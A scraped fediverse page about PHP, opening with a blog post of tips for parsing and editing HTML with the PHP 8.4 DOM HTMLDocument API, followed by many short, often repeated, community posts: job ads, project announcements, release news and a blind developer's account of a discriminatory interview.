I've only scratched the surface of what the new 8.4 HTML Parser can do. I've already rewritten lots of my yucky old preg_ code to something which (hopefully) is less likely to break in catastrophic ways.
If you have any other tips, please leave a comment.
@blog@shkspr.mobi
https://shkspr.mobi/blog/2025/05/stop-using-preg_-on-html-and-use-domhtmldocument/
It is a truth universally acknowledged that a programmer in possession of some HTML will eventually try to parse it with a regular expression.
This makes many people very angry and is widely regarded as a bad move.
In the bad old days, it was somewhat understandable for a PHP coder to run a quick-and-dirty preg_replace() on a scrap of code. They probably could control the input and there wasn't a great way to manipulate an HTML5 DOM.
Rejoice sinners! PHP 8.4 is here to save your wicked souls. There's a new HTML5 Parser which makes everything better and stops you having to write brittle regexen.
Here are a few tips - mostly notes to myself - but I hope you'll find useful.
This is the most basic example. This loads HTML into a DOM, tries to fix all the mistakes it finds, and then spits out the result.
PHP
$html = '<p id="yes" id="no"><em>Hi</div><h2>Test</h3><img />';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED , "UTF-8" );echo $dom->saveHTML();
It uses LIBXML_HTML_NOIMPLIED because we don't want a full HTML document with a doctype, head, body, etc.
If you want Pretty Printing, you can use my library.
OK, so you've got the DOM, how do you get the text of the body without any of the surrounding HTML
PHP
$html = '<p><em>Hello</em> World!</p>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR , "UTF-8" );echo $dom->body->textContent;
Note, this doesn't replace images with their alt text.
You can use the same querySelector() function as you do in JavaScript!
PHP
$element = $dom->querySelector( "h2" );
That returns a pointer to the element. Which means you can run:
PHP
$element->setAttribute( "id", "interesting" );echo $dom->querySelector( "h2" )->attributes["id"]->value;
And you will see that the DOM has been manipulated!
Suppose you have a bunch of headings and you want to get all of them. You can use the same querySelectorAll() function as you do in JavaScript!
To get all headings, in the order they appear:
PHP
$headings = $dom->querySelectorAll( "h1, h2, h3, h4, h5, h6" );foreach ( $headings as $heading ) { // Do something}
Suppose you have a bunch of links and you want to find only those which point to "example.com/test/". Again, you can use the same attribute selectors as you would elsewhere
PHP
$dom->querySelectorAll( "a[href^=https\:\/\/example\.com\/test\/]" );
Sadly, it isn't quite as simple as setting the innerHTML. Each search returns a node. That node may have children. Those children will also be node which, themselves, may have children, and so on.
Let's take a simple example:
PHP
$html = '<h2>Hello</h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );$element = $dom->querySelector( "h2" );$element->childNodes[0]->textContent = "Goodbye";echo $dom->saveHTML();
That changes "Hello" to "Goodbye".
But what if the element has child nodes?
PHP
$html = '<h2>Hello <em>friend</em></h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );$element = $dom->querySelector( "h2" );$element->childNodes[0]->textContent = "Goodbye";echo $dom->saveHTML();
That outputs <h2>Goodbye<em>friend</em></h2> - so think carefully about the structure of the DOM and what you want to replace.
This one is tricky! Let's suppose you have this:
HTML
<div id="page"> <main> <h2>Hello</h2>
You want to add an <h1> before the <h2>. Here's how to do this.
First, you need to construct the DOM:
PHP
$html = '<div id="page"><main><h2>Hello</h2>';$dom = \Dom\HTMLDocument::createFromString( $html, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
Next, you need to construct an entirely new DOM for your new node.
PHP
$newHTML = "<h1>Title</h1>";$newDom = \Dom\HTMLDocument::createFromString( $newHTML, LIBXML_NOERROR | LIBXML_HTML_NOIMPLIED, "UTF-8" );
Next, extract the new element from the new DOM, and import it into the original DOM:
PHP
$element = $dom->importNode( $newDom->firstChild, true );
The element now needs to be inserted somewhere in the original DOM. In this case, get the h2, tell its parent node to insert the new node before the h2:
PHP
$h2 = $dom->querySelector( "h2" );$h2->parentNode->insertBefore( $element, $h2 );echo $dom->saveHTML();
Out pops:
HTML
<div id="page"> <main> <h1>Title</h1> <h2>Hello</h2> </main></div>
An alternative is to use the appendChild() method. Note that it appends it to the end of the children. For example:
PHP
$div = $dom->querySelector( "#page" );$div->appendChild( $element );echo $dom->saveHTML();
Produces:
HTML
<div id="page"> <main> <h2>Hello</h2> </main> <h1>Title</h1></div>
I've only scratched the surface of what the new 8.4 HTML Parser can do. I've already rewritten lots of my yucky old preg_ code to something which (hopefully) is less likely to break in catastrophic ways.
If you have any other tips, please leave a comment.
@cdevroe@mastodon.social
Just registered for PHPverse – a free virtual event to celebrate 30 years of PHP happening on Tuesday, 17 June.
@cdevroe@mastodon.social
Just registered for PHPverse – a free virtual event to celebrate 30 years of PHP happening on Tuesday, 17 June.
@kAlvaro@mastodon.social
Some great tips to write regular expressions in PHP.
I don't particularly have the need to write verbose expressions, but alternative delimiters (mine is typically `@`) and named capture groups alone are game changers.
@kAlvaro@mastodon.social
Some great tips to write regular expressions in PHP.
I don't particularly have the need to write verbose expressions, but alternative delimiters (mine is typically `@`) and named capture groups alone are game changers.
@raphael@communick.com
@hleithner@joomla.social
@vga256@dialup.cafe
for the past few years, i'm sure many of you have read my many lamentations about the death of the old, small web many of us grew up with.
there are tons of static site generators out there, but none of them did what i wanted: something that could build an entire site without futzing with javascript and library dependencies. i wanted something that we would have had in 2005, but didn't have in 2025.
in january, i decided to do something about it instead of whining. i started gluing together a few php scripts i had been using to build blogs, rss feeds and mini homepages. i even wrote a new mini markup language.
i thought it would take me a week. it took >3 months. 😅
it ran for the past month as globaltalk.network's interactive site, and many of you asked if i'd ever let other people spin up an instance. i can finally say: yes!
today, kiki is officially finished and released for public use. named after my little black house demon, it's small, fast, and sometimes well behaved. and, it's all written in php without a single external dependency. just unzip and go.
it's released as shareware - in the oldest, finest, jankiest meaning of the word: you're free to goof around with and share the unregistered version. build your own little kiki instance, and customize the heck out of it until it feels like your own little home in the world wide web:
@vga256@dialup.cafe
for the past few years, i'm sure many of you have read my many lamentations about the death of the old, small web many of us grew up with.
there are tons of static site generators out there, but none of them did what i wanted: something that could build an entire site without futzing with javascript and library dependencies. i wanted something that we would have had in 2005, but didn't have in 2025.
in january, i decided to do something about it instead of whining. i started gluing together a few php scripts i had been using to build blogs, rss feeds and mini homepages. i even wrote a new mini markup language.
i thought it would take me a week. it took >3 months. 😅
it ran for the past month as globaltalk.network's interactive site, and many of you asked if i'd ever let other people spin up an instance. i can finally say: yes!
today, kiki is officially finished and released for public use. named after my little black house demon, it's small, fast, and sometimes well behaved. and, it's all written in php without a single external dependency. just unzip and go.
it's released as shareware - in the oldest, finest, jankiest meaning of the word: you're free to goof around with and share the unregistered version. build your own little kiki instance, and customize the heck out of it until it feels like your own little home in the world wide web:
@vga256@dialup.cafe
for the past few years, i'm sure many of you have read my many lamentations about the death of the old, small web many of us grew up with.
there are tons of static site generators out there, but none of them did what i wanted: something that could build an entire site without futzing with javascript and library dependencies. i wanted something that we would have had in 2005, but didn't have in 2025.
in january, i decided to do something about it instead of whining. i started gluing together a few php scripts i had been using to build blogs, rss feeds and mini homepages. i even wrote a new mini markup language.
i thought it would take me a week. it took >3 months. 😅
it ran for the past month as globaltalk.network's interactive site, and many of you asked if i'd ever let other people spin up an instance. i can finally say: yes!
today, kiki is officially finished and released for public use. named after my little black house demon, it's small, fast, and sometimes well behaved. and, it's all written in php without a single external dependency. just unzip and go.
it's released as shareware - in the oldest, finest, jankiest meaning of the word: you're free to goof around with and share the unregistered version. build your own little kiki instance, and customize the heck out of it until it feels like your own little home in the world wide web:
@vga256@dialup.cafe
for the past few years, i'm sure many of you have read my many lamentations about the death of the old, small web many of us grew up with.
there are tons of static site generators out there, but none of them did what i wanted: something that could build an entire site without futzing with javascript and library dependencies. i wanted something that we would have had in 2005, but didn't have in 2025.
in january, i decided to do something about it instead of whining. i started gluing together a few php scripts i had been using to build blogs, rss feeds and mini homepages. i even wrote a new mini markup language.
i thought it would take me a week. it took >3 months. 😅
it ran for the past month as globaltalk.network's interactive site, and many of you asked if i'd ever let other people spin up an instance. i can finally say: yes!
today, kiki is officially finished and released for public use. named after my little black house demon, it's small, fast, and sometimes well behaved. and, it's all written in php without a single external dependency. just unzip and go.
it's released as shareware - in the oldest, finest, jankiest meaning of the word: you're free to goof around with and share the unregistered version. build your own little kiki instance, and customize the heck out of it until it feels like your own little home in the world wide web:
@SensioLabsOfficial@mastodon.social
📢 SensioLabs recrute !
#Dev senior, lead developer, formateur (H/F) : rejoignez le créateur de #Symfony
Développez vos compétences avec des projets innovants, le partage avec l'équipe & grâce à un accès privilégié à l'open source 📖
📌 En savoir plus 👉 https://bit.ly/3E78hiR
@SensioLabsOfficial@mastodon.social
📢 SensioLabs recrute !
#Dev senior, lead developer, formateur (H/F) : rejoignez le créateur de #Symfony
Développez vos compétences avec des projets innovants, le partage avec l'équipe & grâce à un accès privilégié à l'open source 📖
📌 En savoir plus 👉 https://bit.ly/3E78hiR

@JosephLeedy@phpc.social
Hello Fediverse! I’m looking for a new role as a Senior Software Developer specializing in building extensions (or stores) on the Magento Open Source and Adobe Commerce platforms. I’d also be willing to learn Shopware. My target salary is $160,000 per year, and I work remotely.
https://linkedin.com/in/JosephLeedy
#AdobeCommerce #Magento #Shopware #PHP #OpenToWork #GetFediHired
@ojrask@piipitin.fi
Se ois kuulkaas rekryhommat auki Fennoalla.
Etsin softatiimiini kahta hyvää tyyppiä, 1x mid- ja 1x senior-devaajaa. Perustaitoina tulisi olla PHP ja JS, mutta erityisesti sennun kohdalla kaipaan taitoja myös siitä koodin yläpuolelta. Sisartiimiin etsitään myös yhtä senior-devaajaa.
1/4
(Kaikki buustaukset tervetulleita!)
#GetFediHired #FediRekry #Fennoa #Rekry #Työpaikka #Työpaikkailmoitus #Ohjelmistokehitys #PHP #JS #Taloushallinto #Tilitoimisto
@simonrjones@mastodon.social
We're hiring for a new PHP Developer to join the team at Studio 24. We're passionate about building a web that works for everyone. We design and build accessible websites and complex web applications and focus on projects with impact for public sector & non-profit clients.
If you'd like to work with a friendly and supportive team on projects for clients such as @w3c, RNIB, UK Parliament, CBM and other fantastic clients please see https://www.studio24.net/careers/php-developer/ #jobs #PHP #accessibility
@simonrjones@mastodon.social
We're hiring for a new PHP Developer to join the team at Studio 24. We're passionate about building a web that works for everyone. We design and build accessible websites and complex web applications and focus on projects with impact for public sector & non-profit clients.
If you'd like to work with a friendly and supportive team on projects for clients such as @w3c, RNIB, UK Parliament, CBM and other fantastic clients please see https://www.studio24.net/careers/php-developer/ #jobs #PHP #accessibility
@simonrjones@mastodon.social
We're hiring for a new PHP Developer to join the team at Studio 24. We're passionate about building a web that works for everyone. We design and build accessible websites and complex web applications and focus on projects with impact for public sector & non-profit clients.
If you'd like to work with a friendly and supportive team on projects for clients such as @w3c, RNIB, UK Parliament, CBM and other fantastic clients please see https://www.studio24.net/careers/php-developer/ #jobs #PHP #accessibility
@soulflyman@mastodon.social
I had to solve a problem where a PowerShell script would be distributed to clients that had to send mails. Putting email credentials in the script was not an option, so I put together a web-accessible API that allows me to send mail from a script without putting credentials at risk or relying on third-party mail libraries.
Sharing is caring, so here it is for you to self-host.
#php #api #sendmail #scripting #selfhosted #opensource #oss
https://github.com/soulflyman/CuckooPost
@lawondyss@mastodonczech.cz
Občas něco naprogramuju v #Python a oblíbil jsem si možnost vytvářet třídy v třídách, což používám hlavně pro buildery. Občas mě zamrzelo, že to neumí i #PHP, takže když jsem si dnes všiml tohoto RFC, udělalo mi to #dobréRáno 😊
https://wiki.php.net/rfc/short-and-inner-classes
#developer
@awoodsnet@phpc.social
I'm looking for a Senior PHP Developer position. I'm in NYC, but remote position welcome. I can work with WordPress, Drupal, or Laravel. Got a older PHP system that needs modernizing? I can help with that too. Prefer U.S. timezones (UTC-4 thru UTC-7).
Get in touch.
@awoodsnet@phpc.social
I'm looking for a Senior PHP Developer position. I'm in NYC, but remote position welcome. I can work with WordPress, Drupal, or Laravel. Got a older PHP system that needs modernizing? I can help with that too. Prefer U.S. timezones (UTC-4 thru UTC-7).
Get in touch.
@ramsey@phpc.social
Hey, folks! I’m looking for a Staff Software Engineer to join my team (API Core) at #Mailchimp.
Some of the things we work on: #PHP, #REST, #OpenAPI, #OAuth2, #APIGovernance, and more.
We are stewards of our public #APIs, and we collaborate with other capabilities teams to ensure APIs are developed according to our standards and processes. You would work directly with me on a daily basis.
This position is in Atlanta or New York.
https://jobs.intuit.com/job/atlanta/staff-software-engineer-api-core-team/27595/76329932512
@phpc@phpc.social
The PHP project has put out the call for release manager volunteers for PHP 8.5!
Candidates should be confident about merging pull requests without breaking BC, doing bug triage, liaising with previous RMs, and getting the branch in good shape. At least one candidate should be a core dev who can assess more technical PR's. Others do not need to have deep knowledge of internals but should understand above mentioned points.
Reply on the mailing list to volunteer.
@jacobpy@mastodon.social · Reply to Robert Roskam's post
@raiderrobert I'm making customized cms for few customers and I'm more friendly with #python than #php, so #wagtail looks as good solution than #wordpress. Wagtails StreamFields are AWESOME. Building selfhosted site right now - not easy, but i'm still surprised how it works ))
@phpc@phpc.social
The PHP project has put out the call for release manager volunteers for PHP 8.5!
Candidates should be confident about merging pull requests without breaking BC, doing bug triage, liaising with previous RMs, and getting the branch in good shape. At least one candidate should be a core dev who can assess more technical PR's. Others do not need to have deep knowledge of internals but should understand above mentioned points.
Reply on the mailing list to volunteer.
@madcollector@retro.pizza
Years ago I created a #php #mysql #comics #database
https://sourceforge.net/projects/madcollector/
DM me If you'd be interested in reviving it.
@brendt@phpc.social
@brendt@phpc.social
@yamanoku@hollo.yamanoku.net
なぜPHPファイルは <?php が省略できないのか #PHP - Qiita
@yamanoku@hollo.yamanoku.net
なぜPHPファイルは <?php が省略できないのか #PHP - Qiita
@codemonkeymike@fosstodon.org
Any #WebDev out there have an HTML block editor / page builder, they like?
I've hacked something together with #vuejs and #tinymce but it's cumbersome and janky, and think its time to cut my losses.
But I don't know what to go to. I'm in #php now, but will be rebuilding in #elixir very soon, so if there is something in Elixir / #phoenix that's decent off the shelf, i'd be curious to see that.
#tailwind css support for this would be extra cool.
@nogajun@mastodon.social
高町さん、かっこいい! #php
OSSは決して遠い世界じゃない。2年前までコントリビューション未経験だった、PHPコア開発者からのメッセージ - Findy Engineer Lab: https://findy-code.io/engineer-lab/sakitakamachi
@dseguy@phpc.social
There is a #PHP value, which is not even equal to itself.
($a === $a) is false!
If you don't know about it, here is a tip : it is not a number.
https://php-tips.readthedocs.io/en/latest/tips/is_not_a_nan.html
@ScriptFanix@maly.io
Dites, c'est possible d'observer le trafic FPM sur une socket ? J'ai un petit soucis avec NextCloud dans un cas bien spécifique. Au début c'était HAProxy qui posait problème, mais de ce côté c'est réglé. Par contre, j'ai #NGinX qui ferme la connexion vers HAProxy prématurément lors du #streaming d'un morceau de musique. Du coup je voudrais voir si c'est NGinX qui a un problème, ou #PHP #FPM ?
NGinX et PHP-FPM communiquent via une socket, sinon j'aurais tout simplement fait un tcpdump...
@ScriptFanix@maly.io
Dites, c'est possible d'observer le trafic FPM sur une socket ? J'ai un petit soucis avec NextCloud dans un cas bien spécifique. Au début c'était HAProxy qui posait problème, mais de ce côté c'est réglé. Par contre, j'ai #NGinX qui ferme la connexion vers HAProxy prématurément lors du #streaming d'un morceau de musique. Du coup je voudrais voir si c'est NGinX qui a un problème, ou #PHP #FPM ?
NGinX et PHP-FPM communiquent via une socket, sinon j'aurais tout simplement fait un tcpdump...
@php_discussions@mastodon.social
PHP 8.4.4 Released
https://www.php.net/releases/8_4_4.php
Discussions: https://discu.eu/q/https://www.php.net/releases/8_4_4.php
@php_discussions@mastodon.social
PHP 8.4.4 Released
https://www.php.net/releases/8_4_4.php
Discussions: https://discu.eu/q/https://www.php.net/releases/8_4_4.php
@lukas@indieweb.social
Does anybody have experience with developing and hosting #PHP #Composer packages on @Codeberg and then distributing them through #Packagist?
I was able to set up a Packagist webhook on #Codeberg but am wondering if there's any best practices or pitfalls to be aware of. Most packages are on #GitHub, so this would be a more unique setup.
@progi1984@piaille.fr
L'alternative à Instagram, @pixelfed monte de plus en plus en puissance. Cette semaine, je vais vous montrer sur mon blog comment publier en #php une photo sur une instance #pixelfed.
🇫🇷 https://lefevre.dev/fr/blog/publier-facilement-post-pixelfed-php/
🇬🇧 https://lefevre.dev/posts/publish-easily-post-pixelfed-php/
@progi1984@piaille.fr
L'alternative à Instagram, @pixelfed monte de plus en plus en puissance. Cette semaine, je vais vous montrer sur mon blog comment publier en #php une photo sur une instance #pixelfed.
🇫🇷 https://lefevre.dev/fr/blog/publier-facilement-post-pixelfed-php/
🇬🇧 https://lefevre.dev/posts/publish-easily-post-pixelfed-php/
@cpereira@framapiaf.org · Reply to Carlos 🔻's post
Hey mes amis fan de PHP, @afup préfère faire son AG en ligne sur Bluesky plutôt que Mastodon parce qu'il manque 126 abonnés sur son compte Mastodon
Votre mission si vous l'acceptez, est d'encourager un max de membres de la communauté PHP à suivre le compte @afup et ainsi les convaincre de faire le live sur Mastodon
Cap ou pas Cap ?
cc @Djyp @dunglas @enuts_ @soyuka @symfony @SymfonyStation @mykiwi @fabpot @phparch @php @brendt @onestlatech @ApiPlatform @matthiasnoback @yoandev @Girgias
#php
@swiss_laravel_association@phpc.social
🎥 Get an exclusive sneak peak at Laravel Cloud, the new PaaS by the Laravel team.
Florian Beer gave this talk at our Laravel Switzerland Meetup on January 30th in Zürich.
@davidbisset@phpc.social
#WordPress as a git repo
https://adamadam.blog/2025/01/08/wordpress-as-a-git-repo/
"I’ve turned WordPress into a markdown editor, a git client, and a git server. It’s all dependency-free #PHP code. It works in Playground, on any cheap hosting, and it could be merged into WordPress core."
via @adamziel
@davidbisset@phpc.social
#WordPress as a git repo
https://adamadam.blog/2025/01/08/wordpress-as-a-git-repo/
"I’ve turned WordPress into a markdown editor, a git client, and a git server. It’s all dependency-free #PHP code. It works in Playground, on any cheap hosting, and it could be merged into WordPress core."
via @adamziel
@bogo@hapyyr.com
Wikipedia is looking for brave #php developers to help their mission. It's #remote
Staff"
https://job-boards.greenhouse.io/wikimedia/jobs/6126716?gh_src=f74a1ed11us
Senior:
https://grnh.se/58ef55971us
#getfedihired
/added the second link/
@syntaxseed@phpc.social
@bogo@hapyyr.com
Wikipedia is looking for brave #php developers to help their mission. It's #remote
Staff"
https://job-boards.greenhouse.io/wikimedia/jobs/6126716?gh_src=f74a1ed11us
Senior:
https://grnh.se/58ef55971us
#getfedihired
/added the second link/
@ramsey@phpc.social
This project looks promising:
"Goodnews is a PHP-based social media platform like Mastodon based on the ActivityPub protocol."
Highlights:
- PHP 8.2+, Hyperf, and Swoole
- AGPL 3.0
- ActivityPub
- Mastodon API compatibility
- Backend and frontend are separate projects
- Active development
@ramsey@phpc.social
This project looks promising:
"Goodnews is a PHP-based social media platform like Mastodon based on the ActivityPub protocol."
Highlights:
- PHP 8.2+, Hyperf, and Swoole
- AGPL 3.0
- ActivityPub
- Mastodon API compatibility
- Backend and frontend are separate projects
- Active development
@ramsey@phpc.social
This project looks promising:
"Goodnews is a PHP-based social media platform like Mastodon based on the ActivityPub protocol."
Highlights:
- PHP 8.2+, Hyperf, and Swoole
- AGPL 3.0
- ActivityPub
- Mastodon API compatibility
- Backend and frontend are separate projects
- Active development
@ramsey@phpc.social
This project looks promising:
"Goodnews is a PHP-based social media platform like Mastodon based on the ActivityPub protocol."
Highlights:
- PHP 8.2+, Hyperf, and Swoole
- AGPL 3.0
- ActivityPub
- Mastodon API compatibility
- Backend and frontend are separate projects
- Active development
@syntaxseed@phpc.social
@tjdraper@phpc.social
I've worked with dates and times in several programming languages, and I have to say that the best is easily PHP (since the big refactor in, what was it, 5.6?).
The worst is easily Javascript.
@tjdraper@phpc.social
I've worked with dates and times in several programming languages, and I have to say that the best is easily PHP (since the big refactor in, what was it, 5.6?).
The worst is easily Javascript.
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
Autonomous DatabaseのSELECT AIを使用して、他のOracle Databaseに格納されているデータに対して自然言語で問合せを行う
https://qiita.com/500InternalServerError/items/e2119c3b15869e25c5bc?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@lig@fosstodon.org
I really appreciate the journey @PixelFed is on. As @dansup said here https://mastodon.social/@dansup/113910761084901138 the entire Fediverse is growing together with them.
The only thing I don't like about Pixelfed is that it is written in PHP.
That is just sad, sorry.
A year ago I was considering self-hosting Pixelfed and this was the only blocker for me personally.
Hope this will change in the future:)
@menelion@dragonscave.space
Cette semaine j'ai eu une expérience extrêmement humiliante comme non-voyant. Je cherche du boulot (dévloppeur backend #PHP et #DotNet/#CSharp), et une société m'a contacté ici à Strasbourg. La personne RH était bienveillante, l'entretien s'est bien passé, puis on m'a fait venir chez eux pour discuter avec leur engineering manager.
J'ai prévenu dès la première conversation que j'étais complètement non-voyant, c'est-à-dire aveugle. Oké, m'a-t-on dit, pas d'soucis, si tu passes notre test, tu peux bien travailler chez nous.
Ils m'ont donné un test, une petite API à faire chez moi ce que j'ai fait dès le début (fichier Docker compose, base de données, tout le tralala avec les tests). Ils m'ont dit que tiens, ton test est super bon, « même j'ai pas pensé aux tests que tu as fait », m'a dit le lead dev.
C'était la fin décembre, et avant les vacances on m'a rassuré que tout va bien, que le test est bon, et même on m'a nommé le montant approximatif du salaire.
Quand je suis venu pour débriffer le test, on m'a laissé comprendre qu'en fait c'est l'entretien final. Bien sûr que je ne faisais rien pendant ce mois de janvier, croyant naïvement que le boulot était dans ma poche.
Quand j'ai commencé à parler avec le CTO, il m'a soudainement dit que, premièrement, il n'est pas possible de choisir le système d'exploitation et on est tous sur des Mac, même les sales et customer support. Oké, ai-je pensé, on va s'débrouiller (malgré le fait que j'en ai beaucoup parlé avant). Puis il m'a sorti le suivant : « Tu sais, il faut que tous nos développeurs voient des maquettes que les PM dessinent, et on les discute aux sessions de grooming ». Attends attends, lui ai-je dit, mais je suis backend, quel est le rapport entre moi et le fameux pixel perfect design ? «Mais ouais, tu sais, ici tout le monde fait comme ça, tu sais, faut voir des maquettes, gna gna gna ». Et en plus, m'a-t-il dit, les gens customer support travaillent qu'avec des vidéos. « Quoi ?! » — j'ai déjà compris qu'on ne voulait pas de moi, mais quand même. donc, ai-je demandé, c'est si difficile de copier-coller le texte d'erreur que le backend leur montre ? C'est si difficile de décrire un ticket normal en texte, comme tout le monde le fait ? « Mais tu sais, ils sont comme ça, les vidéos c'est plus rapide, plus facile, gna gna gna, patati-patata ».
Et bien sûr, on m'a appelé pour dire qu'on veut pas de moi.
Je suis vraiment choqué par cette attitude et si je savais quoi faire, je voudrais agir. #Accessibilité #NonVoyants #Aveugles #Discrimination
@oj@masto.es
Aunque llevo años por aquí, ésta es mi #presentación.
Soy ingeniero de software con +20 años programando en #PHP, haciendo mis pinitos en #NodeJS, #Python y #Golang, y trabajo en remoto desde 2007.
Escribí durante años en blogs profesionales (e incluso un libro), empecé en el #podcasting en el 2007 con @kafelog y madrugo para ir a hacer #fitboxing.
Me gusta la tecnología, comer bien, el café, el vermú, la ciencia ficción, el terror cósmico y las zapatillas.
¡Hola! 👋🏻
@chrastecky@phpc.social
This is one of the most useful tools I have built:
https://history.nix-packages.com
Working with multiple versions of whatever software you need for your legacy app is a breeze.
You want some specific version of #php #nodejs #golang or whatever else without it polluting your system? You're just one `nix-shell` command away!
@menelion@dragonscave.space
Cette semaine j'ai eu une expérience extrêmement humiliante comme non-voyant. Je cherche du boulot (dévloppeur backend #PHP et #DotNet/#CSharp), et une société m'a contacté ici à Strasbourg. La personne RH était bienveillante, l'entretien s'est bien passé, puis on m'a fait venir chez eux pour discuter avec leur engineering manager.
J'ai prévenu dès la première conversation que j'étais complètement non-voyant, c'est-à-dire aveugle. Oké, m'a-t-on dit, pas d'soucis, si tu passes notre test, tu peux bien travailler chez nous.
Ils m'ont donné un test, une petite API à faire chez moi ce que j'ai fait dès le début (fichier Docker compose, base de données, tout le tralala avec les tests). Ils m'ont dit que tiens, ton test est super bon, « même j'ai pas pensé aux tests que tu as fait », m'a dit le lead dev.
C'était la fin décembre, et avant les vacances on m'a rassuré que tout va bien, que le test est bon, et même on m'a nommé le montant approximatif du salaire.
Quand je suis venu pour débriffer le test, on m'a laissé comprendre qu'en fait c'est l'entretien final. Bien sûr que je ne faisais rien pendant ce mois de janvier, croyant naïvement que le boulot était dans ma poche.
Quand j'ai commencé à parler avec le CTO, il m'a soudainement dit que, premièrement, il n'est pas possible de choisir le système d'exploitation et on est tous sur des Mac, même les sales et customer support. Oké, ai-je pensé, on va s'débrouiller (malgré le fait que j'en ai beaucoup parlé avant). Puis il m'a sorti le suivant : « Tu sais, il faut que tous nos développeurs voient des maquettes que les PM dessinent, et on les discute aux sessions de grooming ». Attends attends, lui ai-je dit, mais je suis backend, quel est le rapport entre moi et le fameux pixel perfect design ? «Mais ouais, tu sais, ici tout le monde fait comme ça, tu sais, faut voir des maquettes, gna gna gna ». Et en plus, m'a-t-il dit, les gens customer support travaillent qu'avec des vidéos. « Quoi ?! » — j'ai déjà compris qu'on ne voulait pas de moi, mais quand même. donc, ai-je demandé, c'est si difficile de copier-coller le texte d'erreur que le backend leur montre ? C'est si difficile de décrire un ticket normal en texte, comme tout le monde le fait ? « Mais tu sais, ils sont comme ça, les vidéos c'est plus rapide, plus facile, gna gna gna, patati-patata ».
Et bien sûr, on m'a appelé pour dire qu'on veut pas de moi.
Je suis vraiment choqué par cette attitude et si je savais quoi faire, je voudrais agir. #Accessibilité #NonVoyants #Aveugles #Discrimination
@alda@topspicy.social
In case someone is still using wp-tests-strapon, I just removed support for main/master/trunk branches for WordPress, so it is nessecary to test against a released version for the time being, but at least testing against WordPress 6.7.1 works now.
This is due to small discrepancies in the wordpress-develop codebase and the distributed version of WordPress that were enough to break things.
The new version, 0.1.7, should be on Packagist by now.

@IceWolf@masto.brightfur.net
oh gods what that's SO CURSED

@IceWolf@masto.brightfur.net
oh gods what that's SO CURSED
@mapache@hachyderm.io · Reply to Maho 🦝🍻's post
It reminds me of my early days with PHP—there was a certain charm in the chaos, a kind of misunderstood brilliance. But where PHP felt like a rebel carving its own path, Blazor feels like the refined evolution, bringing that same joy but with structure and clarity. #DevCommunity #Coding #php
@darkghosthunter@mastodon.social
Things I learned last year:
- PHP and JavaScript for web applications
- Python for AI and Machine Learning
- Rust for very performant software
- Go for networking software
- Vala for GNOME apps
- C is still relevant as long you keep it simple
- C++ is slowly becoming the FORTRAN of our age.
#Programming #WebDevelopment #SoftwareDevelopment #Software #PHP #Pyrhon #AI #ML #MachineLearning #Rust #Golang #Vala #GNOME #C #CPlusPlus
@darkghosthunter@mastodon.social
Things I learned last year:
- PHP and JavaScript for web applications
- Python for AI and Machine Learning
- Rust for very performant software
- Go for networking software
- Vala for GNOME apps
- C is still relevant as long you keep it simple
- C++ is slowly becoming the FORTRAN of our age.
#Programming #WebDevelopment #SoftwareDevelopment #Software #PHP #Pyrhon #AI #ML #MachineLearning #Rust #Golang #Vala #GNOME #C #CPlusPlus

@IceWolf@masto.brightfur.net
oh gods what that's SO CURSED

@IceWolf@masto.brightfur.net
oh gods what that's SO CURSED
@fedicat@pc.cafe
the other #php #fediverse platform I know of is #Friendica
@toflar@phpc.social
I have tagged Loupe 0.9 with some great new features and performance improvements! 🔥 Go check them out! https://github.com/loupe-php/loupe/releases/tag/0.9.0 #php #sqlite #search
@toflar@phpc.social
I have tagged Loupe 0.9 with some great new features and performance improvements! 🔥 Go check them out! https://github.com/loupe-php/loupe/releases/tag/0.9.0 #php #sqlite #search
@technicat@universeodon.com
the #pixelfed surge also means a bigger #php footprint in the #fediverse
@technicat@universeodon.com
the #pixelfed surge also means a bigger #php footprint in the #fediverse
@technicat@universeodon.com
the #pixelfed surge also means a bigger #php footprint in the #fediverse
@badri@snipetteville.in
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
@hlrx@techhub.social
@nicholasr@mastos.online
@dokuwiki@phpc.social
Today I stumbled across a DokuWiki running on release 2008-05-05 on #PHP 4.4.9 😱
I strongly advise against running such seriously outdated software (especially on the public Internet).
But I am also fascinated by it. The change log indicates that this wiki has been in constant use since back then, with the latest addition just a couple of days ago. I guess someone is strictly adhering to the rule of "never change a running system".
@dokuwiki@phpc.social
Today I stumbled across a DokuWiki running on release 2008-05-05 on #PHP 4.4.9 😱
I strongly advise against running such seriously outdated software (especially on the public Internet).
But I am also fascinated by it. The change log indicates that this wiki has been in constant use since back then, with the latest addition just a couple of days ago. I guess someone is strictly adhering to the rule of "never change a running system".
@stefanzweifel@phpc.social
@chrastecky@phpc.social
I created an #ActivityPub library for #PHP which uses modern PHP 8.4 features. Each input is fully validated and fully typed, there's support for Signature header validating / generating and some other sweet stuff.
Note that it's currently in alpha, mainly because it's not tested yet and there are most likely many bugs, but tests are coming soon(ish).
Random fact: 3 bug reports for #PhpStorm were created in the process of creating the package.
@chrastecky@phpc.social
I created an #ActivityPub library for #PHP which uses modern PHP 8.4 features. Each input is fully validated and fully typed, there's support for Signature header validating / generating and some other sweet stuff.
Note that it's currently in alpha, mainly because it's not tested yet and there are most likely many bugs, but tests are coming soon(ish).
Random fact: 3 bug reports for #PhpStorm were created in the process of creating the package.
@lordmatt@mastodon.social
If anyone can show me how to use #PHP to make a #GeminiProtocol request for a gemfile, please point me towards some answers.
@lordmatt@mastodon.social
If anyone can show me how to use #PHP to make a #GeminiProtocol request for a gemfile, please point me towards some answers.
@j3j5@hachyderm.io
Brexit means brexit!!
@jimw@mefi.social
@php_discussions@mastodon.social
PHPStan 2.1: Support For PHP 8.4's Property Hooks, and More!
https://phpstan.org/blog/phpstan-2-1-support-for-php-8-4-property-hooks-more
Discussions: https://discu.eu/q/https://phpstan.org/blog/phpstan-2-1-support-for-php-8-4-property-hooks-more
@php_discussions@mastodon.social
